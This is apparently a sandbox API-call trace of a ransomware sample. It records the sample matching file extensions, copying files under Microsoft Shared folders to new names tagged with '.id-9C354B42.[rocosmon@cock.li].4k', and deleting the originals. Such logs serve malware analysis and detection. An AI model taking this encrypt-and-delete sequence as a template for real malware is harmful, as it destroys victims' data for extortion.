	[0100.997] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.997] lstrlenW (lpString=".7z") returned 3
	[0100.997] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77
	[0100.997] lstrlenW (lpString=".dbf") returned 4
	[0100.997] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77
	[0100.997] lstrlenW (lpString=".1cd") returned 4
	[0100.997] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77
	[0100.997] lstrlenW (lpString=".jpg") returned 4
	[0100.997] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.998] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0100.998] lstrlenW (lpString="STOCKS.XML") returned 10
	[0100.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0100.998] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=2687) returned 1
	[0100.998] CloseHandle (hObject=0x200) returned 1
	[0100.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 0x20
	[0100.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0100.999] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.999] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.999] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0100.999] GetLastError () returned 0x0
	[0100.999] ReadFile (in: hFile=0x200, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0xa7f, lpOverlapped=0x0) returned 1
	[0101.033] WriteFile (in: hFile=0x1d8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xa80, lpOverlapped=0x0) returned 1
	[0101.034] ReadFile (in: hFile=0x200, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0101.034] WriteFile (in: hFile=0x1d8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0101.034] SetEndOfFile (hFile=0x1d8) returned 1
	[0101.034] CloseHandle (hObject=0x1d8) returned 1
	[0101.034] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.034] SetEndOfFile (hFile=0x200) returned 1
	[0101.035] CloseHandle (hObject=0x200) returned 1
	[0101.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0101.035] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 1
	[0101.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78
	[0101.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78
	[0101.036] lstrlenW (lpString=".doc") returned 4
	[0101.036] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0101.036] lstrlenW (lpString=".docx") returned 5
	[0101.036] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1
	[0101.036] lstrlenW (lpString=".pdf") returned 4
	[0101.036] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0101.036] lstrlenW (lpString=".xls") returned 4
	[0101.036] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0101.036] lstrlenW (lpString=".xlsx") returned 5
	[0101.036] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1
	[0101.036] lstrlenW (lpString=".ppt") returned 4
	[0101.036] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0101.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78
	[0101.036] lstrlenW (lpString=".zip") returned 4
	[0101.036] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0101.036] lstrlenW (lpString=".rar") returned 4
	[0101.036] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0101.036] lstrlenW (lpString=".bz2") returned 4
	[0101.036] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0101.037] lstrlenW (lpString=".7z") returned 3
	[0101.037] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0101.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78
	[0101.037] lstrlenW (lpString=".dbf") returned 4
	[0101.037] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0101.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78
	[0101.037] lstrlenW (lpString=".1cd") returned 4
	[0101.037] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0101.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78
	[0101.037] lstrlenW (lpString=".jpg") returned 4
	[0101.037] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0101.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78
	[0101.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78
	[0101.037] lstrlenW (lpString=".doc") returned 4
	[0101.037] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0101.037] lstrlenW (lpString=".docx") returned 5
	[0101.037] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1
	[0101.037] lstrlenW (lpString=".pdf") returned 4
	[0101.037] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0101.037] lstrlenW (lpString=".xls") returned 4
	[0101.037] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0101.037] lstrlenW (lpString=".xlsx") returned 5
	[0101.037] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1
	[0101.037] lstrlenW (lpString=".ppt") returned 4
	[0101.037] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0101.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78
	[0101.038] lstrlenW (lpString=".zip") returned 4
	[0101.038] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0101.038] lstrlenW (lpString=".rar") returned 4
	[0101.038] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0101.038] lstrlenW (lpString=".bz2") returned 4
	[0101.038] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0101.038] lstrlenW (lpString=".7z") returned 3
	[0101.038] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0101.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78
	[0101.038] lstrlenW (lpString=".dbf") returned 4
	[0101.038] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0101.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78
	[0101.038] lstrlenW (lpString=".1cd") returned 4
	[0101.038] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0101.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78
	[0101.038] lstrlenW (lpString=".jpg") returned 4
	[0101.038] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0101.039] lstrcmpiW (lpString1=".TXT", lpString2=".4k") returned 1
	[0101.039] lstrlenW (lpString="METCONV.TXT") returned 11
	[0101.039] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204
	[0101.185] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=1183416) returned 1
	[0101.185] CloseHandle (hObject=0x204) returned 1
	[0101.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 0x20
	[0101.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0101.185] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204
	[0101.185] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.185] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.185] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0101.186] GetLastError () returned 0x0
	[0101.186] ReadFile (in: hFile=0x204, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0xffff0, lpOverlapped=0x0) returned 1
	[0101.243] WriteFile (in: hFile=0x184, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xffff0, lpOverlapped=0x0) returned 1
	[0101.432] ReadFile (in: hFile=0x204, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x20ec8, lpOverlapped=0x0) returned 1
	[0101.508] WriteFile (in: hFile=0x184, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x20ed0, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x20ed0, lpOverlapped=0x0) returned 1
	[0101.514] ReadFile (in: hFile=0x204, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0101.514] WriteFile (in: hFile=0x184, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0101.514] SetEndOfFile (hFile=0x184) returned 1
	[0101.515] CloseHandle (hObject=0x184) returned 1
	[0101.516] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.516] SetEndOfFile (hFile=0x204) returned 1
	[0101.518] CloseHandle (hObject=0x204) returned 1
	[0101.518] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0101.519] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 1
	[0101.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68
	[0101.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68
	[0101.519] lstrlenW (lpString=".doc") returned 4
	[0101.519] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1
	[0101.519] lstrlenW (lpString=".docx") returned 5
	[0101.519] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1
	[0101.519] lstrlenW (lpString=".pdf") returned 4
	[0101.519] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1
	[0101.519] lstrlenW (lpString=".xls") returned 4
	[0101.519] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1
	[0101.519] lstrlenW (lpString=".xlsx") returned 5
	[0101.519] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1
	[0101.520] lstrlenW (lpString=".ppt") returned 4
	[0101.520] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1
	[0101.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68
	[0101.520] lstrlenW (lpString=".zip") returned 4
	[0101.520] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1
	[0101.520] lstrlenW (lpString=".rar") returned 4
	[0101.520] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1
	[0101.520] lstrlenW (lpString=".bz2") returned 4
	[0101.520] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1
	[0101.520] lstrlenW (lpString=".7z") returned 3
	[0101.520] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1
	[0101.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68
	[0101.520] lstrlenW (lpString=".dbf") returned 4
	[0101.520] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1
	[0101.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68
	[0101.520] lstrlenW (lpString=".1cd") returned 4
	[0101.520] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1
	[0101.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68
	[0101.520] lstrlenW (lpString=".jpg") returned 4
	[0101.520] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1
	[0101.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68
	[0101.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68
	[0101.520] lstrlenW (lpString=".doc") returned 4
	[0101.520] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1
	[0101.520] lstrlenW (lpString=".docx") returned 5
	[0101.520] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1
	[0101.521] lstrlenW (lpString=".pdf") returned 4
	[0101.521] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1
	[0101.521] lstrlenW (lpString=".xls") returned 4
	[0101.521] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1
	[0101.521] lstrlenW (lpString=".xlsx") returned 5
	[0101.521] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1
	[0101.521] lstrlenW (lpString=".ppt") returned 4
	[0101.521] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1
	[0101.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68
	[0101.521] lstrlenW (lpString=".zip") returned 4
	[0101.521] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1
	[0101.521] lstrlenW (lpString=".rar") returned 4
	[0101.521] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1
	[0101.521] lstrlenW (lpString=".bz2") returned 4
	[0101.521] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1
	[0101.521] lstrlenW (lpString=".7z") returned 3
	[0101.521] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1
	[0101.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68
	[0101.521] lstrlenW (lpString=".dbf") returned 4
	[0101.521] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1
	[0101.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68
	[0101.521] lstrlenW (lpString=".1cd") returned 4
	[0101.521] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1
	[0101.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68
	[0101.521] lstrlenW (lpString=".jpg") returned 4
	[0101.521] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1
	[0101.595] lstrcmpiW (lpString1=".jpg", lpString2=".4k") returned 1
	[0101.595] lstrlenW (lpString="GreenBubbles.jpg") returned 16
	[0101.596] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0102.152] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=6406) returned 1
	[0102.152] CloseHandle (hObject=0x1e8) returned 1
	[0102.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20
	[0102.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0102.153] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0102.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0102.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0102.153] lstrlenW (lpString=".doc") returned 4
	[0102.153] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0102.153] lstrlenW (lpString=".docx") returned 5
	[0102.153] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0102.153] lstrlenW (lpString=".pdf") returned 4
	[0102.153] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0102.153] lstrlenW (lpString=".xls") returned 4
	[0102.153] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0102.153] lstrlenW (lpString=".xlsx") returned 5
	[0102.153] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0102.153] lstrlenW (lpString=".ppt") returned 4
	[0102.153] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0102.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0102.153] lstrlenW (lpString=".zip") returned 4
	[0102.153] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0102.153] lstrlenW (lpString=".rar") returned 4
	[0102.153] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0102.153] lstrlenW (lpString=".bz2") returned 4
	[0102.153] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0102.153] lstrlenW (lpString=".7z") returned 3
	[0102.154] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0102.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0102.154] lstrlenW (lpString=".dbf") returned 4
	[0102.154] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0102.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0102.154] lstrlenW (lpString=".1cd") returned 4
	[0102.154] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0102.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0102.154] lstrlenW (lpString=".jpg") returned 4
	[0102.154] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0102.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0102.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0102.154] lstrlenW (lpString=".doc") returned 4
	[0102.154] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0102.154] lstrlenW (lpString=".docx") returned 5
	[0102.154] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0102.154] lstrlenW (lpString=".pdf") returned 4
	[0102.154] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0102.154] lstrlenW (lpString=".xls") returned 4
	[0102.154] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0102.154] lstrlenW (lpString=".xlsx") returned 5
	[0102.154] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0102.154] lstrlenW (lpString=".ppt") returned 4
	[0102.154] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0102.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0102.154] lstrlenW (lpString=".zip") returned 4
	[0102.154] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0102.154] lstrlenW (lpString=".rar") returned 4
	[0102.155] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0102.155] lstrlenW (lpString=".bz2") returned 4
	[0102.155] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0102.155] lstrlenW (lpString=".7z") returned 3
	[0102.155] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0102.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0102.155] lstrlenW (lpString=".dbf") returned 4
	[0102.155] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0102.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0102.155] lstrlenW (lpString=".1cd") returned 4
	[0102.155] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0102.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0102.155] lstrlenW (lpString=".jpg") returned 4
	[0102.155] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0102.155] lstrcmpiW (lpString1=".htm", lpString2=".4k") returned 1
	[0102.155] lstrlenW (lpString="Soft Blue.htm") returned 13
	[0102.155] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0102.156] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=232) returned 1
	[0102.156] CloseHandle (hObject=0x1e8) returned 1
	[0102.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm")) returned 0x20
	[0102.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
